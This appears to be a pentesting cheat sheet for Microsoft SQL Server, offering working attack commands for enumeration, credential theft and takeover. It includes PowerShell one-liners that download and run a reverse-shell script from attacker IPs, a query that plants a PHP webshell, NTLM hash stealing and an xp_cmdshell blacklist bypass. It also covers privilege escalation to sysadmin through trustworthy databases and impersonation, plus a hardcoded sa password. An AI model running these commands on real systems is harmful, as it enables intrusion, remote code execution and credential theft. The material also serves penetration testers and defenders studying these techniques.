Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Default MS-SQL System Tables
master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.
If you don'thave credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username.
Metasploit (need creds)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Common Enumeration
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname, create_date, modify_date,type_descastype, authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
Get Permissions
Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:
Server – Examples include databases, logins, endpoints, availability groups, and server roles.
Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
Schema – Includes tables, views, procedures, functions, synonyms, etc.
Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:
Server Level using logins
Database Level using users
Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Tricks
Execute OS Commands
Note that in order to be able to execute commands it's not only necessary to have xp_cmdshellenabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linerEXECsp_configure'Show Advanced Options',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
Steal NetNTLM hash / Relay attack
You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).
To write files using MSSQL, we need to enableOle Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Read file with OPENROWSET
By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by a different user than the one using xp_cmdshell to execute commands.
Example trying to execute a 'R'"Hellow World!"not working:
Example using configured python to perform several actions:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Read Registry
Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the Windows Registry:
Regular
Instance-Aware
sys.xp_regread
sys.xp_instance_regread
sys.xp_regenumvalues
sys.xp_instance_regenumvalues
sys.xp_regenumkeys
sys.xp_instance_regenumkeys
sys.xp_regwrite
sys.xp_instance_regwrite
sys.xp_regdeletevalue
sys.xp_instance_regdeletevalue
sys.xp_regdeletekey
sys.xp_instance_regdeletekey
sys.xp_regaddmultistring
sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring
sys.xp_instance_regremovemultistring
# Example read registryEXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write andthenread registryEXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example tocheck who can use these functionsUsemaster;EXEC sp_helprotect 'xp_regread';EXEC sp_helprotect 'xp_regwrite';
It's possible to load a .NET dll within MSSQL with custom functions. This, however, requires dbo access so you need a connection with database as sa or an Administrator role.
If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers.
Note that once you are sysadmin you can impersonate any other one:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
You can perform this attack with a metasploit module:
Extracting passwords from SQL Server Linked Servers
An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found here
Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations.
After validating your permissions, you need to configure three things, which are the following:
Enable TCP/IP on the SQL Server instances;
Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
Enable remote admin connection.
To automate these configurations, this repository has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.
The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'